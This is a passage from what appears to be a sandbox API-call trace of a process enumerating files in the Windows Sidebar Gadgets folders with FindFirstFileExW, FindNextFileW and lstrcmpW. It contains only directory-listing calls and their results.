lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.108] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.108] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.108] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.108] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.108] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mousedown.png", cAlternateFileName="")) returned 1 [0245.112] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.113] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.113] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb81591, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb81591, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_mousedown.png", cAlternateFileName="")) returned 1 [0245.114] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.114] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.114] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.114] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.114] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbf39ab, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fbf39ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xecdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0245.115] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.115] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.115] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbf39ab, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fbf39ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xecdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0245.115] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.115] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.115] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.115] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.115] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0245.116] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.116] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.116] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.116] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.116] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.117] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.117] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.117] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.117] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.117] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.117] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.117] lstrcmpW (lpString1="css", lpString2=".") returned 1 [0245.117] lstrcmpW (lpString1="css", lpString2="..") returned 1 [0245.117] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.118] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.118] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.118] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.118] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.118] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0245.119] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.119] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.120] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0245.120] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.121] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.121] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.121] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.121] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0245.122] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0245.122] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.122] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0245.122] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.122] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.122] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0245.122] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0245.122] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.124] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.125] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.125] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.125] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0245.134] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.135] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.135] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0245.136] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.136] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.137] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.137] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.137] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.137] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.137] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.137] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.137] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c4e50a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c4e50a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cdb6711, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.137] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.138] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.138] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 